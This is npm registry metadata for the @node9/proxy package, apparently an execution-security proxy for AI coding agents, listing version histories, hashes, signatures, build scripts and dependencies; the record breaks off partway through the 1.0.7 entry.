{"_id":"@node9/proxy","_rev":"234-0792d5a483981e4cbae16f5c1b4f0f3f","name":"@node9/proxy","dist-tags":{"latest":"2.26.2"},"versions":{"0.2.1":{"name":"@node9/proxy","version":"0.2.1","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"MIT","_id":"@node9/proxy@0.2.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/nadav-node9/node9-proxy#readme","bugs":{"url":"https://github.com/nadav-node9/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"459b77a555f48ba1707949ac892d8ae8b18e9b1b","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-0.2.1.tgz","fileCount":11,"integrity":"sha512-IhTB1BFe1firKVX/Ec9vB7HfqUGwcGEjSlGOAVgLPnb24aGEUQeDz4EqTuAN2x3xtVtN2Rn/lCYGfqCA3HudOQ==","signatures":[{"sig":"MEYCIQDaE9QsPnmnxDOefWcJ8cShVr5qzQrfFrfYnVJ6RFJvRwIhAMotrcjUmWsmaWLY7kZG9fveeTJjX6si/9Cq6W+rjbxO","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"unpackedSize":256917},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"c890f7a008d51cf9cbe5f12d01f60f41e08b9f01","scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"vitest run","build":"tsup","format":"prettier --write .","lint:fix":"eslint . --fix","test:e2e":"bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"vitest","format:check":"prettier --check .","prepublishOnly":"npm run validate"},"_npmUser":{"name":"node9.ai","email":"nadav@node9.ai"},"repository":{"url":"git+https://github.com/nadav-node9/node9-proxy.git","type":"git"},"_npmVersion":"10.9.4","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.0","dependencies":{"chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@types/picomatch":"^4.0.2","typescript-eslint":"^8.20.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_0.2.1_1772490712599_0.524452689646786","host":"s3://npm-registry-packages-npm-production"}},"1.0.0":{"name":"@node9/proxy","version":"1.0.0","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"MIT","_id":"@node9/proxy@1.0.0","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"4f839fe66f857b528994df7f09bd34c7a4ff8953","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.0.0.tgz","fileCount":11,"integrity":"sha512-5FNeXfZBjaONYStjWllAOF8/iGNrxo62K0a3OSAok/4LKUmfmP60gjzfMFVoSLRWHslOMlTRt0g/xEhDDf4DRQ==","signatures":[{"sig":"MEQCIHXJ6oKU+2VSFGIdY1ac3iRY+eqDOMGM4ROlSbBoHoa0AiAS57t1kpZYN7T57M03xTWnaB6XmCmicOimEWttxhpvTQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.0.0","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":344691},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"a7dd6500386664636a2dac02b46d06a13bd29474","scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.0","dependencies":{"chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.0.0_1773159147632_0.6976519600558055","host":"s3://npm-registry-packages-npm-production"}},"1.0.1":{"name":"@node9/proxy","version":"1.0.1","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"MIT","_id":"@node9/proxy@1.0.1","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"3bb55edae0af99248cd62d3564c6525a66459561","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.0.1.tgz","fileCount":11,"integrity":"sha512-NjYo2f0Vio9bBPfLSbbP6sJ9hJTEtIOU77uH6IoxMV6HXmddGswbQt9qZSUQVtWr+SBEObcaHIa4xK0QyOF1AQ==","signatures":[{"sig":"MEQCIEBP2q0PlAme+eH1jzYcNrcANK87kMOnHQQCUMkmDblgAiASUCZ1AbFWgMwOYjgI67FdINuF9zLIaCEziMZP1UlCKQ==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.0.1","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":342126},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"b4059ab579a9e3925824b3ac076d4755ce9caae4","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.0","dependencies":{"chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.0.1_1773252924060_0.4285579743825947","host":"s3://npm-registry-packages-npm-production"}},"1.0.2":{"name":"@node9/proxy","version":"1.0.2","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"MIT","_id":"@node9/proxy@1.0.2","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"1a8614e9bb1e740cd867b1332be15b6a00382dd6","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.0.2.tgz","fileCount":11,"integrity":"sha512-RTQYFgQi28cnc8Q98FfM+LMW67M+5x2sAn48Mi85CFN23rEUYCE7y3bplGRzgPPGRYwaMO/p1NTHH16908dgzg==","signatures":[{"sig":"MEUCIQD0zU+dzZpq4fJgEdyRJpJ7b3B3d1pGyciKxAaavHyL9wIgOtrFbdkvat7kClgRwKho0b2VEN89FuaxnJIVm0OoPU0=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.0.2","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":357816},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"83003ecec2597ac4ce5f0d8e663bccfc5d371c31","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.0","dependencies":{"chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.0.2_1773348563619_0.11258088764275209","host":"s3://npm-registry-packages-npm-production"}},"1.0.3":{"name":"@node9/proxy","version":"1.0.3","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"MIT","_id":"@node9/proxy@1.0.3","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"8fe870fc339bde16ed47c5ff00d80f81c7b34a2c","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.0.3.tgz","fileCount":11,"integrity":"sha512-ME+huGxHctkP09Y+TBRaHuasdogPpWomWzMJsKXKUQywftghGi/d2dkNfBT6BU3kxSybRt4cXzoyANkxrTkGxQ==","signatures":[{"sig":"MEUCICZ2PpGlT5HzyIe0U790LpdEerAneF0LIJINAX1N1cfRAiEAtGE0oCr43STrwU8UKhV3+uA/HlS8EJ5xKG1cauXvO0A=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.0.3","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":357772},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"754b859230cdcd76710cf241bf15e388d0023314","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.0","dependencies":{"chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.0.3_1773360634009_0.935549995103192","host":"s3://npm-registry-packages-npm-production"}},"1.0.4":{"name":"@node9/proxy","version":"1.0.4","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"MIT","_id":"@node9/proxy@1.0.4","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"0ca21643e36abb41c107568d407c4900bd15770a","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.0.4.tgz","fileCount":11,"integrity":"sha512-Ubj93MCt2STaK7RDKdivL8M9F4i3E90qXijyYW4/WC+nHmswTGMCd9u4w89eCahISVOAKEkN4ve31bDVwCTMAw==","signatures":[{"sig":"MEQCIHiHZ7IaJjl/3+d5nQzkY6XwrzR9lUolEFb2ygL9fyGjAiBBZLgUwWfdbZ/hmK20cUxF+rZ6SboHAinPwOBDyjZyAA==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.0.4","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":415497},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"9aa7c6aecd27cd653edc88456d6b3024c53332e5","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.0","dependencies":{"chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.0.4_1773441763247_0.2990537356945082","host":"s3://npm-registry-packages-npm-production"}},"1.0.5":{"name":"@node9/proxy","version":"1.0.5","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"MIT","_id":"@node9/proxy@1.0.5","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"12b062b8e6109b3e89f48526a9c9ba04e1910630","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.0.5.tgz","fileCount":11,"integrity":"sha512-gvvZEoJXRd679FItoKM+dS75l+/kEyVHluauTeCGvBXigFecuiY/4sQVZcYr9vr7AO3xsOf+FLi8trsdwe22rg==","signatures":[{"sig":"MEQCIGbMSX0mXYOrlwUyHapgn6il5vYkYtyRNE2EbCtlHQnUAiAAvBzY3ldER3gRZk1ys08L83z+/RJhQ9eqCrGsF8Fn/Q==","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.0.5","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":418510},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"5734b2b10f09cbd82a08197aff4db134b061820d","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.0.5_1773442781041_0.27003979812095413","host":"s3://npm-registry-packages-npm-production"}},"1.0.6":{"name":"@node9/proxy","version":"1.0.6","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"MIT","_id":"@node9/proxy@1.0.6","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"25d546a85401958e5c64e8fc5e92f0d35da61d66","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.0.6.tgz","fileCount":11,"integrity":"sha512-GSRZd6YNp1vm/ucb+sBcMfiJ4Ho3VCOpqxXFvO3AKGKjscYX+I8d9FbZnN28bIxi0RYrxIzcaOse13+D8aOy0Q==","signatures":[{"sig":"MEUCIAPx6MLD2nYCJy+h2efgKWKiyrR+SYfreZEv7nTTOr0gAiEAoyVsCr/Nn75S3OA6XqhkD+gxIsPwmIRU3kHqD2FAcqo=","keyid":"SHA256:DhQ8wR5APBvFHLF/+Tc+AYvPOdTpcIDqOhxsBHRwC7U"}],"attestations":{"url":"https://registry.npmjs.org/-/npm/v1/attestations/@node9%2fproxy@1.0.6","provenance":{"predicateType":"https://slsa.dev/provenance/v1"}},"unpackedSize":444676},"main":"./dist/index.js","types":"./dist/index.d.ts","module":"./dist/index.mjs","engines":{"node":">=18"},"exports":{".":{"types":"./dist/index.d.ts","import":"./dist/index.mjs","require":"./dist/index.js"}},"gitHead":"72bf24e2e53c6df4c230972e54ac9c89c79867f5","release":{"plugins":["@semantic-release/commit-analyzer","@semantic-release/release-notes-generator","@semantic-release/npm",["@semantic-release/github",{"assets":["dist/*.js","dist/*.mjs"]}],["@semantic-release/git",{"assets":["package.json","package-lock.json"],"message":"chore(release): ${nextRelease.version} [skip ci]\n\n${nextRelease.notes}"}]],"branches":["main"]},"scripts":{"dev":"tsup --watch","fix":"npm run format && npm run lint:fix","demo":"tsx examples/demo.ts","lint":"eslint .","test":"NODE_ENV=test vitest --run","build":"tsup","format":"prettier --write .","test:ui":"NODE_ENV=test vitest --ui","lint:fix":"eslint . --fix","test:e2e":"NODE9_TESTING=1 bash scripts/e2e.sh","validate":"npm run format && npm run lint && npm run typecheck && npm run test && npm run test:e2e && npm run build","typecheck":"tsc --noEmit","test:watch":"NODE_ENV=test vitest","format:check":"prettier --check .","prepublishOnly":"npm run validate"},"_npmUser":{"name":"GitHub Actions","email":"npm-oidc-no-reply@github.com","trustedPublisher":{"id":"github","oidcConfigId":"oidc:1347aecb-b4ff-44bb-b5ad-4259e5ba20a1"}},"repository":{"url":"git+https://github.com/node9-ai/node9-proxy.git","type":"git"},"_npmVersion":"11.11.0","description":"The Sudo Command for AI Agents. Execution Security for Claude Code & MCP.","directories":{},"_nodeVersion":"22.22.1","dependencies":{"chalk":"^4.1.2","execa":"^9.6.1","commander":"^14.0.3","picomatch":"^4.0.3","sh-syntax":"^0.5.8","@inquirer/prompts":"^8.3.0"},"publishConfig":{"access":"public"},"_hasShrinkwrap":false,"devDependencies":{"tsx":"^4.21.0","tsup":"^8.5.1","vitest":"^4.0.18","prettier":"^3.4.2","typescript":"^5.9.3","@types/node":"^25.3.1","@types/picomatch":"^4.0.2","semantic-release":"^25.0.3","typescript-eslint":"^8.20.0","@semantic-release/git":"^10.0.1","@semantic-release/npm":"^13.1.5","@semantic-release/github":"^12.0.6","@semantic-release/commit-analyzer":"^13.0.1","@semantic-release/release-notes-generator":"^14.1.0"},"_npmOperationalInternal":{"tmp":"tmp/proxy_1.0.6_1773498452169_0.5406896379228874","host":"s3://npm-registry-packages-npm-production"}},"1.0.7":{"name":"@node9/proxy","version":"1.0.7","keywords":["ai-security","mcp","mcp-proxy","claude-code","gemini-cli","cursor","agentic-ai","agent-security","sudo","security-proxy","human-in-the-loop","hitl"],"author":{"name":"Nadav","email":"nadav@node9.ai"},"license":"MIT","_id":"@node9/proxy@1.0.7","maintainers":[{"name":"node9.ai","email":"nadav@node9.ai"}],"homepage":"https://github.com/node9-ai/node9-proxy#readme","bugs":{"url":"https://github.com/node9-ai/node9-proxy/issues"},"bin":{"node9":"dist/cli.js"},"dist":{"shasum":"56d049c7cb06fd735e350404e8bab2e82efefbe1","tarball":"https://registry.npmjs.org/@node9/proxy/-/proxy-1.0.7.tgz","fileCount":11,"integrity":"sha512-uk0GR+HH3I4MeIwc9daqpWldBmZsr+J1msxQnRvfQf2+KE4tTwqfTsOFqFoZBMGd4WJ8J48ZriuTIkZR/bQFSg==","signatures":[{"sig":"MEUCIDMycH2TGdDaKnS7Fn